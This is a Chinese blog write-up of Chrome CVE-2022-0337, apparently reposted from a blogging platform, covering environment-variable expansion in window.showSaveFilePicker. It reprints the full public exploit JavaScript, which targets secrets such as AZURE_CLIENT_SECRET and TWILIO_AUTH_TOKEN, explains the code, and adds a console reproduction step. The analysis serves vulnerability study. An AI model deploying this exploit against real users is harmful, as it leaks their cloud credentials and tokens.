CVE-2022-0337 Chrome Var-leak

CVE- 2022-0337 Chrome Environment Var-Leaking

0x01 漏洞概述

2022年4月6日,谷歌发布了一个其旗下开源web浏览器Chrome的软件漏洞,该漏洞源于window.showSaveFilePicker函数在传递系统环境变量时将会进行解析,并将这些变量值返回给用户,攻击者可在未授权的情况下,利用该漏洞构造恶意数据执行信息泄露攻击,最终泄露系统环境变量。当时谷歌对该漏洞的EXP/POC征集奖励是1w刀,漏洞提交者兼第一个EXP提交者都是 Maciej Pulikowski(谷歌名人堂)。

0x02 漏洞背景

Ⅰ.环境变量

环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数,如:临时文件夹位置和系统文件夹位置等。

若是把我们使用的操作系统看成一个庞大的程序,环境变量就是其中一个具有特定名字的对象,它包含了一个或者多个应用程序所将使用到的信息,一定程度上可以理解为全局变量。例如Windows和DOS操作系统中的path环境变量,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到path中指定的路径去找。用户通过设置环境变量,来更好的运行进程,比如我们在配置python和Java的环境时,就需要在环境变量中添加/bin目录,从而才能运行.py和.jar的程序。

在 Windows 中,环境变量的格式是像这样的:

%ENV_VAR%
Ⅱ.Window.showSaveFilePicker()

让浏览器操作本地文件是开发者一直在努力并且不停在探索的方向,所以历史上有很多方案,存在很多类似但其实并不一样的 API。

最早登场的是 File API,代表功能是 FileReader,它可以通过一次读取文件中一个字符,一次读取一个字符数组或使用缓冲区这三种方式来读取文件。这个 API 最大的进步在于,我们可以在浏览器里读取和操作二进制文件,然后通过 <a download="file.ext">这行代码 下载到本地。如此,浏览器作为工具平台的价值大大提高。

接下来,激进的谷歌提出并实现了 File System API。这个 API 试图在浏览器里创建一个独立的文件环境,让开发者可以在里面任意操作文件和目录,如果能做好,那么是一个非常好的突破。可惜步子不仅大、而且偏,最终失败。我认为原因有二:

  • 一方面,这个“独立的文件环境”,其实是无法操作系统本地文件的,没有什么应用价值
  • 另外,当时浏览器的其它限制没有突破——没有包管理、没有 babel(Js的编译器)、甚至没有 Promise(Js多线程运行的对象),IE 仍然大量存在,开发难度极大。

接下来是 Chrome Extension、Chrome App、Chrome OS 里的 File (System) API,这几个产品都是谷歌私有的。

最后,也就是今天的主角,File System Access API。这套方案应该是未来前端用的主流,它提供了比较稳妥的本地文件交互模式,即保证了实用价值,又保障了用户的数据安全,明显是前辈 File System API 的继任者。

它的设计思路也不复杂:

  1. 要求用户手动选择文件或者目录,以获取文件或目录的控制权限
  2. 选择文件或目录后,获取到 FileHandle,后续的操作经由它来进行
  3. FileHandleserializable 对象,所以可以通过序列化和反序列化实现跨 session 的存储(即刷新后还能用)

0x03 漏洞原理分析

翻遍了Chrome的安装目录也没有找到window.showSaveFilePicker()的函数原型,应该是机密文件罢,比较可惜。

我只能把EXP里面的Js代码部分单独提出来分析,h5和css的大约的确没有什么用

<script>
      //how many time enter clicked in row
      let countEnter = 0;
      //is file downloaded
      let isDownloaded = false;

      //on page load
      window.onload = function () {
        const body = document.querySelector("body");
        const pixel = document.querySelector("#pixel");

        body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
        body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

        const randomNumber = Math.floor(Math.random() * 990) + 1;
        const filename = `f${randomNumber}.f`;

        //List of environment variables that hacker is interested in.
        const environmentVariables = [
          "USERNAME",
          "USERDOMAIN",
          "SESSIONNAME",
          "COMPUTERNAME",
          "KEY_VAULT_URL",
          "SECRET_NAME",
          "AZURE_TENANT_ID",
          "AZURE_CLIENT_ID",
          "AZURE_CLIENT_SECRET",
          "TWILIO_ACCOUNT_SID",
          "TWILIO_AUTH_TOKEN",
          //'TOKEN',
          //'PASSWORD'
        ];

        const suggestedName =
          environmentVariables.map((x) => `%${x}%`).join("@") + filename;

        pixel.addEventListener("click", async () => {
          //handle to get file
          const handle = await window.showSaveFilePicker({ suggestedName });
          //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
          //result from user
          const username = handle.name.split("@")[0];

          const userInfo = handle.name
            .replaceAll(filename, "")
            .split("@")
            .map(
              (x, i) =>
                `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
            )
            .join("<br>");
          const guessWinPath = `C:/Users/${username}`;
          document.querySelector(
            "#userInfo"
          ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
          document.querySelector("#gameover").textContent =
            "GAME OVER - Need refresh to start again";
        });
      };

      function clickedEnter() {
        countEnter++;
        //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
        if (countEnter > 5 && !isDownloaded) {
          pixel.click();
          //set file is downloaded
          isDownloaded = true;
        }
      }

      function cancelEnter() {
        //reset count enter if enter is not hold
        countEnter = 0;
      }
    </script>
 //List of environment variables that hacker is interested in.
        const environmentVariables = [
          "USERNAME",
          "USERDOMAIN",
          "SESSIONNAME",
          "COMPUTERNAME",
          "KEY_VAULT_URL",
          "SECRET_NAME",
          "AZURE_TENANT_ID",
          "AZURE_CLIENT_ID",
          "AZURE_CLIENT_SECRET",
          "TWILIO_ACCOUNT_SID",
          "TWILIO_AUTH_TOKEN",
          //'TOKEN',
          //'PASSWORD'
        ];

这一部分是将一些敏感的环境变量提到js里头的一个数组常量里面去了,我之前尝试将TOKEN和PASSWORD提取出来,但是没成功,估计是windows系统并没有给Chrome这么高的权限。

		body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
        body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
        /...
        function clickedEnter() {
        countEnter++;
        //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
        if (countEnter > 5 && !isDownloaded) {
          pixel.click();
          //set file is downloaded
          isDownloaded = true;
        }
      }

      function cancelEnter() {
        //reset count enter if enter is not hold
        countEnter = 0;
      }

这些代码是我们在运行EXP时的操作,这个作者设计的是长按Enter两秒,就可以触发window.showSaveFilePicker()方法

		const randomNumber = Math.floor(Math.random() * 990) + 1;
        const filename = `f${randomNumber}.f`;

先生成一个1-991的随机数,然后我们得到的filename格式就是 随机数.f

const suggestedName = environmentVariables.map((x) => `%${x}%`).join("@") + filename;

使用% %来引用环境变量,而命名文件名称时利用环境变量了的话,在调用文件的话会返回环境变量的值。

suggestedName是弹出保存文件窗口时的默认路径,这里用的map()方法是把那个存有敏感环境变量的数组元素作为变量x标记,最后与 ‘@’ 和 filename 连接,即 suggestedName=%{x}%@随机数.f

        pixel.addEventListener("click", async () => {
          //handle to get file
          const handle = await window.showSaveFilePicker({ suggestedName });
          //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
          //result from user
          const username = handle.name.split("@")[0];

          const userInfo = handle.name
            .replaceAll(filename, "")
            .split("@")
            .map(
              (x, i) =>
                `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
            )
            .join("<br>");
          const guessWinPath = `C:/Users/${username}`;
          document.querySelector(
            "#userInfo"
          ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
          document.querySelector("#gameover").textContent =
            "GAME OVER - Need refresh to start again";
        });
      };

上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印操作。

所以最终在执行payload的时候保存的文件名为

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f随机数.f

0x04 漏洞复现

我们先简单测试一下这个函数

打开一个页面,以百度为例

在控制台里面输入payload:

let a = await window.showSaveFilePicker({suggestedName:'%username%'});
a.name;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GxKf87hc-1652345176639)(C:\Users\hp\Desktop\1.1.png)]

可以看到,保存的文件名就是环境变量%username%

保存之后输出了这个username的值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qr8jYzwW-1652345176640)(C:\Users\hp\Desktop\1.2.png)]

输出成功,接着我们用EXP输出更多环境变量试试:
在这里插入图片描述
在这里插入图片描述

输出成功的有username,userdomain(用户域名),sessionname(会话名)和computername以及guessWinpath(系统位置)的值

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值